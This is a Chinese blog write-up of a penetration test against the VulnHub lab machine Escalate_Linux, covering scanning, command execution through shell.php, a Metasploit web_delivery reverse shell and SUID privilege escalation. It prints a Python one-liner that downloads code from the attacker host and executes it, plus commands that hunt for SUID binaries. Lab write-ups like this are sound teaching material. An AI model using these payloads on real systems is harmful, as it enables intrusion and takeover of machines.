记录一次VulnHub 靶场——Escalate_Linux的渗透测试过程

目录

0x00 靶场环境搭建

0x01 靶机信息收集

0x02 渗透测试

0x03 靶机提权


0x00 靶场环境搭建

链接:百度网盘 请输入提取码

提取码:nz02

下载完成之后导入vmware或者virtualBox,网卡改为nat模式或仅主机模式(方便信息收集)

0x01 靶机信息收集

通过kali linux扫描本网段发现靶机IP地址

Kali Linux:192.168.94.207

靶机IP地址:192.168.94.212

发现靶机IP之后,直接上Nmap扫描!发现靶机开放了80、111、139、445、2049nfs几个端口

访问靶机80端口之后没发现有什么可利用的信息,于是直接上dirsearch搜索到一个shell.php文件

访问shell.php文件发现有一串提示,通过翻译后得知可以将cmd作为GET参数传递

那么由此我们可以上传一个shell进行反弹回来。

0x02 渗透测试

打开msfconsole控制台使用web_delivery漏洞攻击模块

"web_delivery"漏洞通常指的是通过利用Web应用程序中的漏洞来交付恶意软件或者进行攻击。这种类型的漏洞可能会允许攻击者向受害者的计算机或系统交付恶意软件,或者执行恶意代码

查看目标类型,默认为Python类型,所以我们也可以使用传参来查看靶机存不存在Python环境

靶机存在Python环境,那么我们生成Python环境的反弹shell命令,

"SRVHOST" 通常是指在渗透测试或网络安全领域中使用的一个参数或变量,代表服务主机的 IP 地址或主机名。在一些渗透测试工具(比如 Metasploit)或网络安全工具中,可以通过设置 SRVHOST 来指定服务监听的主机地址。

例如,在使用 Metasploit 搭建一个反向 Shell 的时候,你可能需要指定 SRVHOST 参数来告诉 Metasploit 监听连接的主机地址。这样做可以确保服务只接受来自指定主机的连接请求,而不会接受其他主机的连接

这里得将反弹shell的命令进行url编码,然后使用cmd传参靶机才能接收执行此命令!

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.94.207:8080/NmuALiAL7XOs', context=ssl._create_unverified_context());exec(r.read());"

这里我使用burpsuite进行url编码

使用cmd进行传参,返回kali中弹回了一个session,直接连接这个session得到shell

0x03 靶机提权

又到了经典的提权环节了,我们这里可以先使用Python实现交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

这里我们可以了解一个知识点:SUID

SUID(Set User ID)是一种用于提升程序权限的特殊权限位。当一个可执行文件的 SUID 位被设置时,该程序将以文件所有者的权限来执行,而不是执行该程序的用户的权限。

SUID 权限通常用于需要以特定用户权限执行的程序,比如一些系统命令或管理工具。例如,passwd 命令通常具有 SUID 权限,因为它需要修改系统密码文件,这是普通用户无法直接操作的。通过 SUID 权限,普通用户可以执行 passwd 命令来修改自己的密码,而无需获取 root 权限。然而,SUID 权限也带来了安全风险,因为恶意用户可能会利用具有 SUID 权限的程序来进行特权提升或执行其他恶意操作。因此,系统管理员需要谨慎地管理具有 SUID 权限的程序,并确保它们没有潜在的安全漏洞。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?

1、SUID权限仅对二进制程序(binary program)有效;

2、执行者对于该程序需要具有x的可执行权限;

3、本权限仅在执行该程序的过程中有效(run-time);

4、执行者将具有该程序拥有者(owner)的权限。

以下语句可以用来搜索具备SUID权限的程序

find / -perm -u=s -type f 2>/dev/null


find / -user root -perm -4000 -exec ls -ldb {} ;


find / -user root -perm -4000 -print 2>/dev/null

接下来我们可以使用命令来查找具有suid权限的可执行文件,发现在/home/user3目录存在一个shell,进行此目录查看权限发现存在s标志出现在x权限上面,那么我们可以确定这个文件可以进行提权。

运行此shell执行文件,成功提权到root权限

  • 16
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旺仔Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值